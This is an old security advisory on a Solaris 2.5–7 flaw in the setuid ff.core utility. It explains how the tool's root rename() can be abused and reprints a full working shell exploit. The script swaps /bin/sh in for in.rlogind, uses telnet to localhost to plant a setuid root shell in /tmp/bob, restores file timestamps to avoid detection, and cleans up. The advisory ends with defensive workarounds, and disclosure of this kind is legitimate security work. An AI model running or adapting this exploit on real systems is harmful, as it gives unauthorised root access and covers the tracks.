COMMAND
/usr/openwin/bin/ff.core
SYSTEMS AFFECTED
Solaris 2.5, 2.5.1, 2.6, (2.)7
PROBLEM
John McDonald found following. At the bottom of this advisory is
an exploit John wrote for /usr/openwin/bin/ff.core on Solaris
2.5.1, and 2.6. He has tested it on a few machines, with decent
success. There is a security patch for ff.core, labeled 106222-01.
Installed on 2.6 box it does *not* appear to fix the problem. The
success of this exploit depends heavily on certain default
characteristics of the OS. There is a pretty good chance it won't
work on your machine if you have changed much of the configuration
and layout. Obviously, openwindows has to be installed. It's a
really noisy exploit, and if someone uses it on your machine,
there is a good chance you might notice. Let's explain...
We can use ff.core to do a rename() as root. However, there are a
lot of restrictions on what we can get away with. Taking those
into account, here is what John came up with:
ln -fs $A /vol/rmt/diskette0
/usr/openwin/bin/ff.core -r /vol/rmt/diskette0/$B $C /floppy/
$A is the directory that contains the file we want to rename. $B
is the file that we want to rename relative to $A. This can be in
any directory under $A (it can't contain '..'). $C is what we
want to rename the file too. $C cannot contain '/', so it has to
be in the $A directory.
If you are interested, you can see why we have these restrictions
by gdb'ing a copy of ffcore and disass'ing ff_rename. The 2.5.1
binary is real straightforward.. our 3 arguments make it to
ff_rename as %i0, %i1, and %i2. Then there is a series of sanity
checks on the input, a call to get_vol, a call to get_newpath, and
then our call to rename(). The 2.6 binary is a bit more complex,
but the exploit still works fine. Anyway, it's easy to figure out
the rules that govern our input from the 2.5.1 binary. However,
this invalidates your license, and is an atrocious intellectual
property crime, so don't even consider it. Ok, so following our
rules from above, we can rename any file on the system to anything
we want within the same directory. Also, we can move a file from
any directory to a directory that is above that file in the tree,
as long as they are on the same filesystem. ie- we can move
something from /usr/bin to /usr, as long as /usr/bin and /usr are
the same filesystem.
So, how do we exploit this? On Solaris 2.5, it was pretty easy.
John moved /etc/group on top of /etc/shadow, and su'ed to root.
(You can back up /etc/shadow by moving it to /etc/shadow.bak).
However, this doesn't work on machines running a later version of
Solaris. (and some patch probably makes the passwd system a bit
smarter). Anyway, this exploit will attempt to move /bin/sh over
in.rlogind. It does this by utilizing some files sitting around
by default in various directories. This is basically what it does:
rename /usr/bin/sh /usr/bin/admintool
rename /usr/sbin/swmtool /usr/sbin/in.rlogind
telnet localhost login and clean up
This works because /usr/sbin/swmtool is a symlink to
/usr/bin/admintool. When we rename swmtool to in.rlogind, and
telnet in, inetd is going to exec in.rlogind, and the symlink will
be resolved such that /usr/bin/admintool will be execed. So, if
we move /usr/bin/sh to /usr/bin/admintool, then it will be execed
by inetd, and we will have a root prompt waiting for us.
Obviously, this is going to make tripwire or any other binary
modification detector go nuts. Also, rlogind, sh, and admintool
will be temporarily hosed during the exploit. It attempts to
clean up everything it can, but if everything isn't quite right,
and it renames files, but doesn't get the root shell, then it
can't clean up. Run this at your own risk. Before running it,
you should at least check to see if the symlinks are present, and
that rlogind (or whatever daemon in /usr/sbin you choose to
overwrite) is running. Exploit follows:
#!/bin/sh
# /usr/openwin/bin/ff.core exploit - horizon
# tested on 2.5.1, 2.6 and Solaris 7 (2.7)
# thanks to joej, adm, and joej :>
# if you want to exploit 2.5, you can just make this move /etc/group over
# /etc/shadow. you will probably want to move /etc/shadow to /etc/s.bak
# first test if we can pull this off
echo "Testing if exploit is possible..."
if [ -x /usr/openwin/bin/ff.core ]
then
:
else
echo "ff.core isn't there or executable. :/"
exit 1
fi
if [ -w /vol/rmt ]
then
:
else
echo "We can't do the symlink. :<"
exit 1
fi
mkdir /tmp/.test42
touch /tmp/.test42/bob
rm -f /vol/rmt/diskette0
ln -fs /tmp/.test42 /vol/rmt/diskette0
/usr/openwin/bin/ff.core -r /vol/rmt/diskette0/bob jim /floppy/ 2>/dev/null
if [ -f /tmp/.test42/jim ]
then
echo "Test successful. Proceeding..."
else
echo "Hmmm.. doesn't look like this is going to work :/"
exit 1
fi
rm -rf /tmp/.test42
# lets make some backups
echo "Backing up clobbered files to /tmp/.bk"
mkdir /tmp/.bk
#save admintools times
touch /tmp/.bk/admintool
touch -r /usr/bin/admintool /tmp/.bk/admintool
#save rloginds times
touch /tmp/.bk/in.rlogind
touch -r /usr/sbin/in.rlogind /tmp/.bk/in.rlogind
#save a copy of /usr/bin/sh
cp /usr/bin/sh /tmp/.bk
touch -r /usr/bin/sh /tmp/.bk/sh
echo "Doing sploit..."
rm -f /vol/rmt/diskette0
ln -fs /usr/bin /vol/rmt/diskette0
/usr/openwin/bin/ff.core -r /vol/rmt/diskette0/admintool admintool.bak /floppy/ 2>/dev/null
rm -f /vol/rmt/diskette0
ln -fs /usr/bin /vol/rmt/diskette0
/usr/openwin/bin/ff.core -r /vol/rmt/diskette0/sh admintool /floppy/ 2>/dev/null
rm -f /vol/rmt/diskette0
ln -fs /usr/sbin /vol/rmt/diskette0
/usr/openwin/bin/ff.core -r /vol/rmt/diskette0/in.rlogind in.rlogind.bak /floppy/ 2>/dev/null
rm -f /vol/rmt/diskette0
ln -fs /usr/sbin /vol/rmt/diskette0
/usr/openwin/bin/ff.core -r /vol/rmt/diskette0/swmtool in.rlogind /floppy/ 2>/dev/null
echo "Done with sploit. Testing and trying to clean up now..."
sleep 1
(sleep 2;echo "\
cp /bin/rksh /tmp/bob;\
chmod 4755 /tmp/bob;\
exit;\
") | telnet localhost login
sleep 1
if [ -f /tmp/bob ]
then
echo "w00p! Should have a suid root sh in /tmp/bob"
echo "btw, its rksh because solaris is silly"
echo "Let me try to clean up my mess..."
else
echo "hrmmph.. didnt work. hope shits not screwed up bad :/"
exit 1
fi
echo "
cp /tmp/.bk/sh /usr/bin/sh
chmod 555 /usr/bin/sh
chown bin /usr/bin/sh
chgrp root /usr/bin/sh
touch -r /tmp/.bk/sh /usr/bin/sh
mv /usr/bin/admintool.bak /usr/bin/admintool
touch -r /tmp/.bk/admintool /usr/bin/admintool
rm -f /usr/sbin/swmtool
ln -s /usr/bin/admintool /usr/sbin/swmtool
touch -r /usr/bin/admintool /usr/sbin/swmtool
rm -f /usr/sbin/in.rlogind
mv /usr/sbin/in.rlogind.bak /usr/sbin/in.rlogind
touch -r /tmp/.bk/in.rlogind /usr/sbin/in.rlogind
rm -rf /tmp/.bk
" | /tmp/bob
echo "everything should be cool.. i think :>"
/tmp/bob
SOLUTION
The workaround is simple: chmod ug-s /usr/openwin/bin/ff.core.
Also, there is no way this exploit can work if a normal user can't
write to something under /vol, so some chmod's will probably be
effective. There's another workaround for the ff.core bug rather
than taking away it's set-uid permissions. The workaround is:
chmod a-w /vol/*
Best added to the volmgt starup script in the following fashion,
after the line that starts vold:
while sleep 1
do
if [ -d /vol/rmt ]
then
chmod a-w /vol/*
break
fi
done &
This leaves a 1 second window or so of vulnerability at boot time
which you can prevent by starting vold earlier than cron & inetd.